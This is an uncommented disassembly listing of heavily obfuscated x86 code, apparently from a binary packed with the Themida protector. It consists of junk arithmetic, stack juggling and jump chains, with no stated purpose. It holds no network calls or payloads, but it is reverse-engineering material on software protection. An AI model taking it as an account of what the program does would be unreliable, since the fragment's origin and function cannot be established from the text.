mov ebp, 52C37951h
jmp sub_55EE90
; ---------------------------------------------------------------------------
loc_55EB90: ; CODE XREF: sub_562ABA-39D4j
add ebx, 5E092043h
sub ebx, eax
sub esp, 4
mov [esp+32h+var_32], esi
mov esi, 4E6B220Fh
shl esi, 5
or esi, 1D9D5D2Fh
jmp sub_55E4D4
; ---------------------------------------------------------------------------
loc_55EBB4: ; CODE XREF: sub_562ABA+5425j
sub edx, 1ED822ACh
add edx, ebp
push ebp
mov ebp, 1ED822ACh
add edx, ebp
pop ebp
jmp loc_56ACD5
; ---------------------------------------------------------------------------
loc_55EBCA: ; CODE XREF: sub_562ABA+947j
add [esp+32h+var_32], 13D70B38h
pop edi
sub edi, 13D70B38h
push dword ptr [esp+0]
jmp loc_5716F0
; ---------------------------------------------------------------------------
loc_55EBE0: ; CODE XREF: sub_562ABA+8BF2j
add esp, 4
mov ebx, [esp+0]
add esp, 4
xor al, dl
pop edx
jmp sub_55F510
; ---------------------------------------------------------------------------
loc_55EBF4: ; CODE XREF: sub_562ABA+B4F4j
add eax, edx
jmp loc_55E5C2
; ---------------------------------------------------------------------------
loc_55EBFB: ; CODE XREF: sub_562ABA-3D0Aj
not edx
push 1E76h
mov [esp+2Ah+var_2C+2], edx
push 79D2h
mov [esp+0], esi
mov edx, [esp+0]
jmp loc_56DAB6
; ---------------------------------------------------------------------------
loc_55EC15: ; CODE XREF: sub_562ABA+6397j
inc eax
jmp loc_563235
; ---------------------------------------------------------------------------
loc_55EC1B: ; CODE XREF: sub_562ABA+9DABj
dec eax
jmp loc_56BBDD
; ---------------------------------------------------------------------------
loc_55EC21: ; CODE XREF: sub_562ABA+113Cj
mov esp, [esp+0]
mov [esp+0], eax
push edx
mov dh, 72h
mov al, 41h
xor al, dh
pop edx
mov cl, al
pop eax
mov bh, cl
mov ecx, [esp+2Ah+var_2C+2]
add esp, 4
jmp loc_56BBD1
; ---------------------------------------------------------------------------
loc_55EC3F: ; CODE XREF: sub_562ABA+B30Cj
mov ebp, 57DC4532h
or esi, ebp
jmp loc_566A10
; ---------------------------------------------------------------------------
loc_55EC4B: ; CODE XREF: sub_562ABA+B12Ej
sub edi, 281964E7h
jmp loc_563DDA
; ---------------------------------------------------------------------------
loc_55EC56: ; CODE XREF: sub_562ABA+49CDj
mov ebp, ecx
pop ecx
inc ebp
push edi
mov edi, 8D92E622h
jmp loc_5637DA
; ---------------------------------------------------------------------------
loc_55EC65: ; CODE XREF: sub_562ABA+9625j
xor al, 0F7h
mov ch, al
jmp loc_570D74
; ---------------------------------------------------------------------------
loc_55EC6E: ; CODE XREF: sub_562ABA+62E5j
xor cl, dh
jmp loc_568CE8
; ---------------------------------------------------------------------------
loc_55EC75: ; CODE XREF: sub_562ABA+3D6Ej
push esi
mov esi, 2
add edi, 60B04D3Ch
add edi, esi
sub edi, 60B04D3Ch
mov esi, [esp+2Ah+var_2C+2]
jmp sub_56217C
; ---------------------------------------------------------------------------
loc_55EC91: ; CODE XREF: sub_562ABA+4947j
push ecx
jmp loc_563C1A
; ---------------------------------------------------------------------------
loc_55EC97: ; CODE XREF: sub_562ABA-203j
pop ebx
sub byte ptr [esp+2Ah+var_28+2], ch
pop ecx
pop edx
push ecx
mov cl, 29h
xor dl, cl
pop ecx
xor al, dl
pop edx
xor bl, al
movzx eax, al
jmp loc_568378
; ---------------------------------------------------------------------------
loc_55ECB1: ; CODE XREF: sub_562ABA-CAEj
pop esp
jmp loc_563F46
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
byte_55ECB7 db 89h ; CODE XREF: sub_562ABA+2ADEj
; ---------------------------------------------------------------------------
and al, 24h
push esi
mov esi, 0F3A58AFh
sub esi, 0F3A58ABh
add [esp+4], esi
pop esi
pop ebx
push 0EF8h
mov [esp], ecx
mov ecx, 4
add ebx, ecx
jmp loc_55F312
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_55ECE0: ; CODE XREF: sub_562ABA+BFD2j
mov edi, [esp+1Ah+var_1A]
jmp loc_56B104
; ---------------------------------------------------------------------------
loc_55ECE8: ; CODE XREF: sub_562ABA+F62Dj
xor ecx, [esp+1Ah+var_1A]
xor [esp+1Ah+var_1A], ecx
xor ecx, [esp+1Ah+var_1A]
mov esp, [esp+1Ah+var_1A]
push dword ptr [edi+eax*4]
push [esp+1Eh+var_1E]
push [esp+22h+var_22]
pop eax
push edi
mov edi, esp
add edi, 4
jmp loc_5647F5
; ---------------------------------------------------------------------------
loc_55ED0C: ; CODE XREF: sub_562ABA+C78Fj
add edi, 3E425A1Eh
pop ecx
pop ecx
push edi
push [esp+22h+var_1E]
pop edi
pop [esp+22h+var_22]
jmp loc_565A3F
; ---------------------------------------------------------------------------
loc_55ED22: ; CODE XREF: sub_562ABA+7477j
xchg esi, [esp+1Eh+var_1E]
pop esp
mov word ptr [esp+1Ah+var_1A], ax
push 4554h
mov [esp+1Eh+var_1E], ecx
jmp loc_56F913
; ---------------------------------------------------------------------------
loc_55ED37: ; CODE XREF: sub_562ABA-39C4j
mov ah, 0DCh
xor ah, 24h
inc ah
and ah, 0DCh
shr ah, 2
add ah, 6
sub bh, ah
pop eax
not bh
neg bh
xor bh, 4Ah
jmp loc_55FDD6
; ---------------------------------------------------------------------------
loc_55ED56: ; CODE XREF: sub_562ABA+AA76j
add edi, eax
jmp loc_56BFD1
; ---------------------------------------------------------------------------
loc_55ED5D: ; CODE XREF: sub_562ABA+DEB6j
pop ecx
push 4E0Bh
jmp loc_55F375
; ---------------------------------------------------------------------------
loc_55ED68: ; CODE XREF: sub_562ABA+D3EAj
pop ebx
jmp loc_562AF8
; ---------------------------------------------------------------------------
loc_55ED6E: ; CODE XREF: sub_562ABA+230Bj
add edx, 4
xchg edx, [esp+16h+var_16]
jmp loc_5704AF
; ---------------------------------------------------------------------------
loc_55ED7C: ; CODE XREF: sub_562ABA+3ACFj
neg edi
add edi, 5B772004h
add edi, 0A422AAE2h
add ebp, 46476241h
add ebp, edi
push eax
push edx
mov edx, 46476241h
mov eax, edx
pop edx
jmp loc_55F4A9
; ---------------------------------------------------------------------------
loc_55EDA1: ; CODE XREF: sub_562ABA-90Dj
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_55EDA6: ; CODE XREF: sub_562ABA+C57Cj
neg ebp
jmp loc_56D5A2
; ---------------------------------------------------------------------------
loc_55EDAD: ; CODE XREF: sub_562ABA+29E9j
shl edx, 4
jmp loc_55EBFB
; ---------------------------------------------------------------------------
loc_55EDB5: ; CODE XREF: sub_562ABA-214Ej
mov esi, eax
pop eax
add eax, esi
pop esi
add edi, eax
jmp loc_55F325
; ---------------------------------------------------------------------------
loc_55EDC2: ; CODE XREF: sub_562ABA+D686j
sub esp, 4
jmp loc_56D3F4
; ---------------------------------------------------------------------------
loc_55EDCD: ; CODE XREF: sub_562ABA+63E4j
mov ebp, [esp+16h+var_16]
add esp, 4
xor ebp, 0D5B8DF0Fh
push edi
mov edi, 43986B19h
sub eax, edi
pop edi
sub eax, ebp
push edx
jmp loc_563FCB
; ---------------------------------------------------------------------------
loc_55EDEA: ; CODE XREF: sub_562ABA+7E80j
add edx, 661010F6h
add edx, 44FF2C06h
add edx, ebp
sub edx, 44FF2C06h
sub edx, 661010F6h
pop ebp
xor edx, [esp+12h+var_12]
xor [esp+12h+var_12], edx
xor edx, [esp+12h+var_12]
mov esp, [esp+12h+var_12]
push 0D74h
mov [esp+16h+var_16], edx
push 5F5Eh
mov [esp+1Ah+var_1A], ecx
push 3D5Fh
mov [esp+1Eh+var_1E], edx
push 664Bh
jmp loc_56A684
; ---------------------------------------------------------------------------
loc_55EE33: ; CODE XREF: sub_562ABA-311Aj
sub edi, ebp
jmp loc_5656D6
; ---------------------------------------------------------------------------
loc_55EE3A: ; CODE XREF: sub_562ABA+5089j
or ecx, ebx
pop ebx
add ecx, 2080200Dh
sub edx, ecx
jmp loc_570DAF
; ---------------------------------------------------------------------------
loc_55EE4A: ; CODE XREF: sub_562ABA+391Cj
add ebx, 4
xchg ebx, [esp+1Eh+var_1E]
mov esp, [esp+1Eh+var_1E]
and eax, esi
push [esp+1Eh+var_1E]
pop esi
push edi
jmp loc_561A99
; ---------------------------------------------------------------------------
loc_55EE62: ; CODE XREF: sub_562ABA+A366j
push 6E48h
mov [esp+26h+var_28+2], ebp
sub esp, 4
push esp
jmp loc_55F034
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55FC41
loc_55EE73: ; CODE XREF: sub_55FC41+2AB6j
mov esi, 4
jmp loc_56F81C
; END OF FUNCTION CHUNK FOR sub_55FC41
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_55EE7D: ; CODE XREF: sub_562ABA+D748j
mov [esp+0], ebx
mov ebx, esp
push eax
push ebp
jmp loc_56509F
; ---------------------------------------------------------------------------
loc_55EE89: ; CODE XREF: sub_562ABA-3FEj
or edx, ecx
jmp loc_56867D
; END OF FUNCTION CHUNK FOR sub_562ABA
; =============== S U B R O U T I N E =======================================
sub_55EE90 proc near ; CODE XREF: sub_562ABA-3F2Fj
push ebp
push ebx
pop ebp
jmp loc_56FFDB
sub_55EE90 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_55EE98: ; CODE XREF: sub_562ABA+897Dj
push 4218h
jmp loc_56239C
; ---------------------------------------------------------------------------
loc_55EEA2: ; CODE XREF: sub_562ABA+3A84j
pop edi
sub eax, esi
pop esi
jmp loc_5702A4
; ---------------------------------------------------------------------------
loc_55EEAB: ; CODE XREF: sub_562ABA-1150j
xor ebp, edx
pop edx
mov edi, ebp
pop ebp
push edi
jmp loc_561654
; END OF FUNCTION CHUNK FOR sub_562ABA
; =============== S U B R O U T I N E =======================================
sub_55EEB7 proc near ; CODE XREF: sub_562ABA+7238j
var_4 = dword ptr -4
push ebp
xor [esp+4+var_4], 63956AE3h
pop eax
jmp loc_56C7CD
sub_55EEB7 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_55EEC5: ; CODE XREF: sub_562ABA+380Fj
xchg ebp, [esp+0]
jmp loc_560149
; ---------------------------------------------------------------------------
loc_55EECD: ; CODE XREF: sub_562ABA+9210j
movzx eax, ax
push ebp
push esp
pop ebp
jmp loc_56F7B4
; ---------------------------------------------------------------------------
loc_55EED8: ; CODE XREF: sub_562ABA+6290j
add ebx, edi
pop edi
add ebx, 326F2D16h
jmp loc_571743
; ---------------------------------------------------------------------------
loc_55EEE6: ; CODE XREF: sub_562ABA+D65Aj
xor eax, 5E0F6F29h
sub edi, eax
mov eax, [esp+0]
add esp, 4
push edx
push 22AD1031h
pop edx
and edx, 5A034E7h
xchg edi, edx
not edi
jmp loc_56EB01
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov ecx, [esp]
jmp loc_572055
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_55EF14: ; CODE XREF: sub_562ABA+EF8Aj
mov ecx, edi
mov edi, [esp+0]
add esp, 4
add edi, ecx
pop ecx
jmp loc_5719CD
; ---------------------------------------------------------------------------
loc_55EF27: ; CODE XREF: sub_562ABA+3356j
and edi, 2A0C5509h
inc edi
add edi, 1E8F0B84h
add edi, 0B764F47Eh
sub ebp, 95C4A2Eh
add ebp, edi
push ecx
mov ecx, 1F623197h
sub ecx, 0BDE0FEEh
sub ecx, 22BB407Bh
xor ecx, 0F994AB00h
jmp loc_569E70
; ---------------------------------------------------------------------------
loc_55EF5F: ; CODE XREF: sub_562ABA+7D89j
push [esp+2Ah+var_2C+2]
jmp loc_56ECD6
; ---------------------------------------------------------------------------
loc_55EF67: ; CODE XREF: sub_562ABA-27C5j
mov eax, ebp
pop ebp
push ecx
mov ecx, 0E310660h
shr ecx, 6
shr ecx, 6
add ecx, 63E02A74h
add edx, ecx
pop ecx
push 8BCh
mov [esp+0], eax
jmp loc_563BBA
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
dd 81242489h, 42404h, 0E1E90000h
db 3Dh, 2 dup(0)
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_55EF9B: ; CODE XREF: sub_562ABA+7D93j
add ecx, edi
jmp loc_5639FA
; ---------------------------------------------------------------------------
loc_55EFA2: ; CODE XREF: sub_562ABA+1075j
add edx, 0B0B80748h
xor edi, edx
pop edx
add eax, edi
jmp loc_571137
; ---------------------------------------------------------------------------
loc_55EFB2: ; CODE XREF: sub_562ABA+82F4j
mov [esp+2Ah+var_2C+2], eax
mov eax, 6122264h
sub [esp+2Ah+var_28+2], 95F0DE2h
sub [esp+2Ah+var_28+2], eax
add [esp+2Ah+var_28+2], 95F0DE2h
pop eax
push ebx
sub esp, 4
mov [esp+0], esi
mov esi, 0A4861C8h
push edx
jmp loc_55FD9A
; ---------------------------------------------------------------------------
loc_55EFE1: ; CODE XREF: sub_562ABA-4906j
add edx, 4
push ecx
mov ecx, 4
add edx, ecx
jmp loc_56E9B2
; ---------------------------------------------------------------------------
loc_55EFF4: ; CODE XREF: sub_562ABA+8A0Dj
and esi, 2A553B8h
push 0
sub dword ptr [esp+0], 33BC4A75h
sub [esp+0], esi
add dword ptr [esp+0], 33BC4A75h
pop esi
sub esi, 11696A70h
mov eax, esi
pop esi
mov ebx, eax
jmp loc_56604D
; ---------------------------------------------------------------------------
loc_55F021: ; CODE XREF: sub_562ABA+150Cj
push 416Eh
jmp loc_56E7E7
; ---------------------------------------------------------------------------
loc_55F02B: ; CODE XREF: sub_562ABA+B8B9j
xchg edi, [esp+0Ah+var_C+2]
pop esp
jmp loc_57242A
; ---------------------------------------------------------------------------
loc_55F034: ; CODE XREF: sub_562ABA-3C4Cj
pop dword ptr [esp+0]
add [esp+2Ah+var_2C+2], 4
pop ebp
push eax
jmp sub_5611D3
; ---------------------------------------------------------------------------
loc_55F042: ; CODE XREF: sub_562ABA+A236j
sub eax, 31F2543Bh
add eax, ecx
add eax, 31F2543Bh
pop ecx
push 15FEh
jmp loc_5697A1
; ---------------------------------------------------------------------------
loc_55F059: ; CODE XREF: sub_562ABA+D923j
mov byte ptr [esp+2Ah+var_28+3], dl
jmp loc_56E57C
; ---------------------------------------------------------------------------
loc_55F062: ; CODE XREF: sub_562ABA+7EB6j
push ecx
push 51297055h
mov ecx, [esp+32h+var_32]
add esp, 4
push 7C97h
mov [esp+32h+var_32], edx
mov edx, 59173CA9h
xor ecx, edx
mov edx, [esp+32h+var_32]
jmp loc_5723A9
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_56A4CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_55F091: ; CODE XREF: sub_562ABA+3F83j
sub edx, edi
pop edi
mov ecx, [esp+0]
jmp loc_56107C
; ---------------------------------------------------------------------------
loc_55F09C: ; CODE XREF: sub_562ABA-2EEAj
add edi, 4
add edi, 4
xchg edi, [esp+0]
pop esp
push edi
mov edi, 23DA7555h
add [esp+2Eh+var_2C+2], edi
mov edi, [esp+0]
jmp loc_5686BC
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
jmp loc_565194
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_55F0C9: ; CODE XREF: sub_562ABA+8D5Bj
pop esp
mov edx, [esp+2Ah+var_2C+2]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp+0]
pop esp
sub ebx, 5F25452Dh
jmp loc_55EB90
; ---------------------------------------------------------------------------
loc_55F0EB: ; CODE XREF: sub_562ABA+3869j
shr ebx, 4
jmp loc_56E121
; ---------------------------------------------------------------------------
loc_55F0F3: ; CODE XREF: sub_562ABA+5128j
inc bh
push eax
jmp loc_55ED37
; ---------------------------------------------------------------------------
loc_55F0FB: ; CODE XREF: sub_562ABA+1909j
push esi
sub esp, 4
jmp loc_56D7FA
; ---------------------------------------------------------------------------
loc_55F107: ; CODE XREF: sub_562ABA+390Cj
push edi
mov edi, 4
add eax, edi
pop edi
jmp loc_560DA8
; ---------------------------------------------------------------------------
loc_55F115: ; CODE XREF: sub_562ABA+1E12j
xor ebp, 13AC2EFAh
inc ebp
sub ebp, 0B303B8Fh
sub esp, 4
mov [esp+3Ah+var_3A], ecx
mov ecx, 63AD09B7h
xor ecx, 30456816h
jmp loc_564484
; ---------------------------------------------------------------------------
loc_55F138: ; CODE XREF: sub_562ABA+38CDj
push ecx
mov ecx, 11DD1618h
jmp loc_56D065
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
push 47h
mov [esp], edi
sub esp, 4
mov [esp], ecx
jmp loc_564CCB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_55F15C: ; CODE XREF: sub_562ABA-24A4j
not ecx
xor ecx, 85F6D8Fh
add ecx, 797E81F6h
sub edi, ecx
jmp loc_55FE6C
; ---------------------------------------------------------------------------
loc_55F171: ; CODE XREF: sub_562ABA+9EF7j
or edx, eax
shl edx, 1
sub esp, 4
mov [esp+42h+var_42], eax
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp+46h+var_46]
mov esp, [esp+46h+var_46]
mov [esp+46h+var_46], edi
jmp loc_5724F3
; ---------------------------------------------------------------------------
loc_55F19B: ; CODE XREF: sub_562ABA-3609j
add edx, 6B2A4896h
add edx, esi
sub edx, 6B2A4896h
pop esi
add eax, edx
jmp loc_5622DD
; ---------------------------------------------------------------------------
loc_55F1B1: ; CODE XREF: sub_562ABA+E2D3j
add esp, 4
add esp, 4
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_55F1BC: ; CODE XREF: sub_562ABA+3C9Aj
shl cl, 7
sub cl, 7Ch
not cl
sub cl, 7Ch
mov bl, cl
jmp loc_561D4C
; ---------------------------------------------------------------------------
loc_55F1CE: ; CODE XREF: sub_562ABA+53DDj
push esi
jmp loc_570581
; ---------------------------------------------------------------------------
loc_55F1D4: ; CODE XREF: sub_562ABA+D0CCj
add bl, 14h
pop ax
sub esp, 4
mov [esp+40h+var_42+2], edx
push ebx
jmp loc_5638DD
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
sub esp, 4
mov [esp], eax
push esp
pop eax
jmp loc_56BFE1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_55F1F5: ; CODE XREF: sub_562ABA+7C2Ej
pop edi
sub esi, 62050AD9h
add esi, 4DEE51F5h
add esi, edi
sub esi, 4DEE51F5h
add esi, 62050AD9h
add esi, 64A77035h
push [esp+40h+var_42+2]
pop edi
add esp, 4
push edx
mov edx, 4
sub esi, edx
pop edx
push esi
jmp loc_55EA5E
; ---------------------------------------------------------------------------
loc_55F22C: ; CODE XREF: sub_562ABA+758Ej
or eax, 670E3780h
push edx
mov edx, 56693356h
shl edx, 1
push eax
mov eax, 642E6470h
jmp loc_5697B3
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
lodsw
xor ax, bx
sub esp, 2
mov [esp], si
push ecx
push small 2459h
pop cx
sub cx, 1
push dx
mov dx, 6C6h
xor cx, dx
jmp loc_561FB9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_55F26D: ; CODE XREF: sub_562ABA+F862j
sub ebx, 4EDC7813h
sub ebx, edx
jmp loc_5720FD
; END OF FUNCTION CHUNK FOR sub_562ABA
; =============== S U B R O U T I N E =======================================
sub_55F27A proc near ; CODE XREF: sub_562ABA+19F5j
; FUNCTION CHUNK AT 00562327 SIZE 00000014 BYTES
push ebx
push 7D69069Eh
pop ebx
not ebx
add ebx, 82135A0h
jmp loc_562327
sub_55F27A endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_55F28E: ; CODE XREF: sub_562ABA+56B8j
pop edi
jmp loc_56C372
; ---------------------------------------------------------------------------
loc_55F294: ; CODE XREF: sub_562ABA+A478j
mov eax, [esp+44h+var_46+2]
add esp, 4
jmp loc_561A3F
; ---------------------------------------------------------------------------
loc_55F2A2: ; CODE XREF: sub_562ABA+214Dj
xor ebx, ecx
pop ecx
jmp loc_5665C9
; ---------------------------------------------------------------------------
loc_55F2AA: ; CODE XREF: sub_562ABA-3353j
mov [esp+3Ch+var_3E+2], ebx
push edi
mov edi, 11BE3A33h
jmp loc_56BD9E
; ---------------------------------------------------------------------------
loc_55F2B8: ; CODE XREF: sub_562ABA-A3Bj
movzx cx, ah
push 2CEh
mov [esp+44h+var_46+2], esi
push esp
pop esi
push ebp
push ebx
sub esp, 4
mov [esp+50h+var_52+2], esi
mov esi, 18367BA7h
mov ebx, esi
pop esi
xor ebx, 47F20215h
add ebx, 0F509C302h
mov ebp, ebx
pop ebx
sub ebp, 6C340D2Dh
and ebp, 680A0722h
push ecx
jmp loc_55E328
; ---------------------------------------------------------------------------
loc_55F2F7: ; CODE XREF: sub_562ABA-17F0j
xor ebx, [esp+4Ch+var_4E+2]
xor [esp+4Ch+var_4E+2], ebx
xor ebx, [esp+4Ch+var_4E+2]
pop esp
sub [esp+48h+var_4A+2], eax
pushf
jmp loc_56F25E
; ---------------------------------------------------------------------------
loc_55F30A: ; CODE XREF: sub_562ABA+7Dj
xchg ebx, [esp+4Ch+var_4E+2]
jmp loc_563F8E
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
loc_55F312: ; CODE XREF: Themida_:0055ECDBj
mov ecx, [esp]
add esp, 4
push eax
mov eax, 2
add ebx, eax
jmp loc_564A2C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_55F325: ; CODE XREF: sub_562ABA-3CFDj
pop eax
jmp loc_55FA3A
; ---------------------------------------------------------------------------
loc_55F32B: ; CODE XREF: sub_562ABA-D38j
add esi, ebp
jmp loc_56AC7B
; END OF FUNCTION CHUNK FOR sub_562ABA
; =============== S U B R O U T I N E =======================================
sub_55F332 proc near ; CODE XREF: sub_562ABA+202Ej
var_4 = dword ptr -4
arg_4 = dword ptr 8
sub esp, 4
mov [esp+4+var_4], esi
mov esi, 6D3A4B89h
add [esp+4+arg_4], esi
mov esi, [esp+4+var_4]
add esp, 4
add [esp+arg_4], 0C034F2Fh
add [esp+arg_4], eax
sub [esp+arg_4], 0C034F2Fh
jmp loc_5692AD
sub_55F332 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_55F360: ; CODE XREF: sub_562ABA+BD8Fj
add ebx, ebp
pop ebp
mov esi, [esp+0Ah+var_C+2]
add esp, 4
push ebx
mov ecx, [esp+0Ah+var_C+2]
jmp loc_5603EB
; ---------------------------------------------------------------------------
loc_55F375: ; CODE XREF: sub_562ABA-3D57j
mov [esp+1Ah+var_1A], eax
push 6BBFh
mov [esp+1Eh+var_1E], esp
jmp loc_56C7DE
; ---------------------------------------------------------------------------
loc_55F385: ; CODE XREF: sub_562ABA+4EDBj
neg ecx
add ecx, 352E0A1Ah
jmp loc_572BA8
; END OF FUNCTION CHUNK FOR sub_562ABA
; =============== S U B R O U T I N E =======================================
sub_55F392 proc near ; CODE XREF: sub_562ABA-4673j
push ebx
mov bh, 11h
mov ah, 2
sub ah, 0C7h
add ah, bh
jmp loc_56378E
sub_55F392 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_55F3A1: ; CODE XREF: sub_562ABA+A879j
mov esp, [esp+1Eh+var_1E]
jmp loc_5708F7
; END OF FUNCTION CHUNK FOR sub_562ABA
; =============== S U B R O U T I N E =======================================
sub_55F3A9 proc near ; CODE XREF: sub_562ABA+2959j
push ebp
push esp
pop ebp
add ebp, 4
add ebp, 4
jmp sub_5721EF
sub_55F3A9 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55E4D4
loc_55F3BD: ; CODE XREF: sub_55E4D4+3C3Ej
push [esp+4+var_4]
pop ebp
push eax
mov eax, esp
add eax, 4
jmp loc_56A311
; END OF FUNCTION CHUNK FOR sub_55E4D4
; ---------------------------------------------------------------------------
loc_55F3CE: ; DATA XREF: Themida_:0055DFF4o
mov ax, [esp]
jmp loc_56BF89
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_55F3D7: ; CODE XREF: sub_562ABA+ACA9j
dec ah
not ah
or ah, 0EEh
neg ah
push bx
mov bl, 0D3h
xor ah, bl
pop bx
jmp loc_568B43
; ---------------------------------------------------------------------------
loc_55F3ED: ; CODE XREF: sub_562ABA+3177j
add ebp, 4
push eax
mov eax, 4
sub ebp, eax
mov eax, [esp+22h+var_22]
add esp, 4
xchg ebp, [esp+1Eh+var_1E]
mov esp, [esp+1Eh+var_1E]
mov [esp+1Eh+var_1E], ebx
push esp
pop ebx
sub esp, 4
mov [esp+22h+var_22], eax
push ebp
jmp loc_569F7A
; ---------------------------------------------------------------------------
loc_55F418: ; CODE XREF: sub_562ABA+E19Ej
and ecx, eax
pop eax
shr ecx, 3
jmp loc_56E9D1
; ---------------------------------------------------------------------------
loc_55F423: ; CODE XREF: sub_562ABA+6993j
push edi
mov edi, 561C517Fh
or edi, 9EE276Eh
shl edi, 5
add edi, 311024h
add eax, edi
pop edi
jmp loc_570187
; ---------------------------------------------------------------------------
loc_55F440: ; CODE XREF: sub_562ABA-CB9j
add eax, 53AF23C4h
shl eax, 4
jmp loc_56BDCC
; ---------------------------------------------------------------------------
loc_55F44D: ; CODE XREF: sub_562ABA+A1E7j
xor [esp+22h+var_22], 76D264DDh
jmp loc_569A73
; ---------------------------------------------------------------------------
loc_55F459: ; CODE XREF: sub_562ABA+FEC3j
mov edx, esp
push ebp
mov ebp, 38F066Eh
or ebp, 2CD661F7h
or ebp, 690856E6h
shr ebp, 2
and ebp, 7ADF7DF5h
push ebx
mov ebx, 6A31189Fh
sub ebx, 0EBE7A8BDh
add ebp, ebx
jmp loc_56799A
; ---------------------------------------------------------------------------
loc_55F489: ; CODE XREF: sub_562ABA+C66Fj
add esp, 2
add bl, al
push eax
mov ah, 42h
push small 5549h
mov word ptr [esp+2Ch+var_2C], ax
not byte ptr [esp+2Ch+var_2C+1]
mov ax, word ptr [esp+2Ch+var_2C]
jmp loc_56F1A9
; ---------------------------------------------------------------------------
loc_55F4A9: ; CODE XREF: sub_562ABA-3D1Ej
sub ebp, eax
jmp loc_562CC2
; ---------------------------------------------------------------------------
loc_55F4B0: ; CODE XREF: sub_562ABA+351j
pop ebx
jmp loc_55F19B
; ---------------------------------------------------------------------------
loc_55F4B6: ; CODE XREF: sub_562ABA-754j
mov dh, 6Ch
and ch, dh
jmp loc_571A8B
; ---------------------------------------------------------------------------
loc_55F4BF: ; CODE XREF: sub_562ABA+3055j
add [esp+16h+var_12], 5B1D70CBh
add [esp+16h+var_12], ebx
sub esp, 4
mov [esp+1Ah+var_1A], ebp
jmp loc_56BF35
; ---------------------------------------------------------------------------
loc_55F4D6: ; CODE XREF: sub_562ABA+2024j
push esi
jmp loc_56A233
; ---------------------------------------------------------------------------
loc_55F4DC: ; CODE XREF: sub_562ABA+7A4Aj
shr edx, 7
push eax
jmp loc_572BD4
; ---------------------------------------------------------------------------
loc_55F4E5: ; CODE XREF: sub_562ABA+ECCBj
mov bl, 4
sub esp, 4
jmp loc_56FA26
; ---------------------------------------------------------------------------
loc_55F4EF: ; CODE XREF: sub_562ABA+16B9j
push 6600h
mov [esp+2Ah+var_2C+2], esi
push [esp+2Ah+var_28+2]
jmp loc_570481
; ---------------------------------------------------------------------------
loc_55F500: ; CODE XREF: sub_562ABA+1DE6j
push [esp+2Eh+var_2C+2]
pop edi
pop dword ptr [esp+0]
mov esp, [esp+2Ah+var_2C+2]
jmp loc_56C948
; END OF FUNCTION CHUNK FOR sub_562ABA
; =============== S U B R O U T I N E =======================================
sub_55F510 proc near ; CODE XREF: sub_562ABA-3ECBj
var_8 = dword ptr -8
var_4 = word ptr -4
sub esp, 2
mov [esp+4+var_4], dx
sub esp, 4
mov [esp+8+var_8], ebx
push ecx
mov cl, 0FBh
push eax
jmp loc_55FFB8
sub_55F510 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_55F529: ; CODE XREF: sub_562ABA-259Ej
add esi, 4
sub esi, 4
xchg esi, [esp+2Ah+var_2C+2]
pop esp
mov [esp+26h+var_28+2], ebx
mov ebx, 4
jmp loc_57267C
; ---------------------------------------------------------------------------
loc_55F543: ; CODE XREF: sub_562ABA-46ECj
sub ebx, 57375020h
add ebx, 3925D51h
sub ebx, 60B67F51h
add ebx, 34062FE7h
xor ebx, 0B4014811h
sub eax, 18845306h
sub eax, ebx
add eax, 18845306h
pop ebx
sub eax, 12401CF9h
pop edx
jmp loc_562635
; ---------------------------------------------------------------------------
loc_55F579: ; CODE XREF: sub_562ABA+A7D4j
sub eax, 4
xchg eax, [esp-10h+arg_C]
pop esp
mov [esp-14h+arg_10], esp
add [esp-14h+arg_10], 4
mov ebp, [esp-14h+arg_10]
add esp, 4
push eax
mov eax, 3A962E8Ah
not eax
push edi
mov edi, 0EFD73CFh
jmp loc_56FC44
; ---------------------------------------------------------------------------
loc_55F5A8: ; CODE XREF: sub_562ABA+2C35j
push 3209h
mov [esp-0Ch+arg_8], eax
mov eax, esp
jmp loc_565C73
; ---------------------------------------------------------------------------
